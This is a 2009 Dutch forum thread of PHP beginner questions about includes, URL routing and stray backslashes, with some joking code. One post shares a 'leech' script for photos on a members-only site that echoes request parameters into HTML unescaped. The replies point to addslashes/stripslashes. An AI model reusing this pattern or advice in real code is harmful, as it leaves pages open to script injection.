    Dat heb ik al geprobeerd, maar als ik dat doe, werkt site.ext/css/style.css of site.ext/img/bg.jpg bijvoorbeeld niet meer. of /js ofzo. Daarom de talen helemaal vooraan geplaatst, zodat site.ext/xxx/ wel werkt.
    Catch22-vrijdag 10 april 2009 @ 16:29
    ($worldVariable->OutsideTemp > 20) ? this->DrinkBier("Terras");
    Shiringazaterdag 11 april 2009 @ 03:51
    Hoe kan ik een include in een variable stoppen?

    Dus ik wil bijvoorbeeld include("pagina.php"); in $variable stoppen.

    Dit werkt niet:
    1
    2
    3
    4
    5
    6
    <?php
    $variable 
    "
    Tekstteksteskteskt
    include("
    pagina.php")
    "
    ;
    ?>


    Ik heb ook met echo en backslash/escape etc. geprobeerd, maar geen resultaat.
    Lightzaterdag 11 april 2009 @ 15:33
    quote:
    Op zaterdag 11 april 2009 03:51 schreef Shiringa het volgende:
    Hoe kan ik een include in een variable stoppen?

    Dus ik wil bijvoorbeeld include("pagina.php"); in $variable stoppen.

    Dit werkt niet:
    [ code verwijderd ]

    Ik heb ook met echo en backslash/escape etc. geprobeerd, maar geen resultaat.
    Wat je kunt doen, is het bestand dat je gaat includen iets laten teruggegeven met return;

    includeme.php:
    1
    2
    3
    4
    <?php
    $var 
    'abc';
    return 
    $var;
    ?>


    test.php:
    1
    2
    3
    <?php
    echo include(includeme.php);
    ?>


    Maar ik zou gewoon functies en variabelen enzo definieren in een include. Die kun je dan weergeven waar je het nodig hebt.
    StephanLzaterdag 11 april 2009 @ 19:39
    quote:
    Op zaterdag 11 april 2009 03:51 schreef Shiringa het volgende:
    Hoe kan ik een include in een variable stoppen?

    Dus ik wil bijvoorbeeld include("pagina.php"); in $variable stoppen.

    Dit werkt niet:
    [ code verwijderd ]

    Ik heb ook met echo en backslash/escape etc. geprobeerd, maar geen resultaat.
    Waarom zou je dat willen?

    Je kan wel doen

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    //If is defined URL variable 'aboutme'
    if(isset($_GET['aboutme'])){
    // include page about me
    include('include/in-aboutme.php');
    //else if is defined URL variable 'interests'
    }else if(isset($_GET['interests'])){
    // include page interests
    include('include/in-interest.php');
    // in all other cases include the home page
    } else {
    include(
    'include/in-home.php');
    }
    ?>
    Intrepidityzaterdag 11 april 2009 @ 20:39
    quote:
    Op vrijdag 10 april 2009 16:29 schreef Catch22- het volgende:
    ($worldVariable->OutsideTemp > 20) ? this->DrinkBier("Terras");
    Ik denk dat je van wereld beter een singleton kunt maken.. anders creeer je steeds een parallelle wereld
    if(World::getInstance()->outsideTemp > 20) { $this->terras->consume(new Bier("Amstel")); }
    Cheers
    Lightzaterdag 11 april 2009 @ 21:23
    quote:
    Op zaterdag 11 april 2009 20:39 schreef Intrepidity het volgende:

    [..]

    Ik denk dat je van wereld beter een singleton kunt maken.. anders creeer je steeds een parallelle wereld
    if(World::getInstance()->outsideTemp > 20) { $this->terras->consume(new Bier("Amstel")); }
    Cheers
    Laat je nou het terras bier consumeren? Da's verspilling, je kunt het beter zelf opdrinken.
    slacker_nlzondag 12 april 2009 @ 09:58
    denk dat $this van het object Intrpidey is en dat hij zijn terras functie aanroept waarbij ie consume implementeerd.. (ik neem aan dat bij dat terras zomersgeklede hoogwaardige dames zitten, anders kan ie net zo goed gewoon consumeren)
    Sjowhanzondag 12 april 2009 @ 10:03
    Zomaar een php-vraagje waar ik met google niet verder kom (aangezien Google de ' en \ negeert). Ik krijg als ik een ' gebruik in een invoerveld, een hele mooie \ voor terug.

    Hoe kan ik php laten weten dat dit niet de bedoeling is?
    slacker_nlzondag 12 april 2009 @ 10:07
    http://www.phpformclass.c(...)sing-generating/1,39

    Dit?
    Lightzondag 12 april 2009 @ 11:30
    quote:
    Op zondag 12 april 2009 09:58 schreef slacker_nl het volgende:
    denk dat $this van het object Intrpidey is en dat hij zijn terras functie aanroept waarbij ie consume implementeerd.. (ik neem aan dat bij dat terras zomersgeklede hoogwaardige dames zitten, anders kan ie net zo goed gewoon consumeren)
    Maar terras is geen functie, er staat geen () achter.
    Sjowhanzondag 12 april 2009 @ 11:31
    Ja en nee. 't Legt wel uit hoe je 't kan omzeilen, maar ik weet zelf niet hoe .
    Heb namelijk een heel ernstig simpel scriptje gekregen, en deze meer omgebouwd (met de kennis die ik heb, en google ) zodat 't meer mijn smaak is ('t is een 'leech' script voor foto's op een membersite ).

    Wat 't doet is in een url de gegevens gooien die ik in een form heb opgegeven (html-form).

    De html zoals 't er ongeveer uit ziet;
    1
    2
    3
    4
    5
    <form action="a.php" method="post">
    BBB: <input type="text" name="bbb" />
    CCC:: <input type="text" name="ccc" />
    DDD:: <input type="text" name="ddd" />
    <input type="submit" />


    de a.php ziet er dan zo uit;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php 

    $ccc = $_REQUEST['ccc']; 
    $bbb  = $_REQUEST['bbb']; 

    echo " - " . $ccc . " - " . $bbb . " - \n<br><br>\n"; 

    echo "<img src='url" . $ccc."/url/" . $bbb. "/" . $j . ".jpg' />\n<br><br>\n"; 
    ?> 


    Hier komt af en toe een ' in de "ccc" voor zodat er een slash voorgezet wordt. Dan werkt het script helaas niet (meer) .
    Enig idee hoe ik dit dus kan voorkomen?
    Darkomenzondag 12 april 2009 @ 12:20
    http://nl.php.net/addslashes
    http://nl.php.net/stripslashes
    #ANONIEMzondag 12 april 2009 @ 13:17
    quote:
    Op zaterdag 11 april 2009 20:39 schreef Intrepidity het volgende:

    [..]

    Ik denk dat je van wereld beter een singleton kunt maken.. anders creeer je steeds een parallelle wereld
    if(World::getInstance()->outsideTemp > 20) { $this->terras->consume(new Bier("Amstel")); }
    Cheers
    Maar wat zal de else constructie bevatten?
    Lightzondag 12 april 2009 @ 13:43
    quote:
    Op zondag 12 april 2009 13:17 schreef Scorpie het volgende:

    [..]

    Maar wat zal de else constructie bevatten?
    Iets met open(new Topic()), denk ik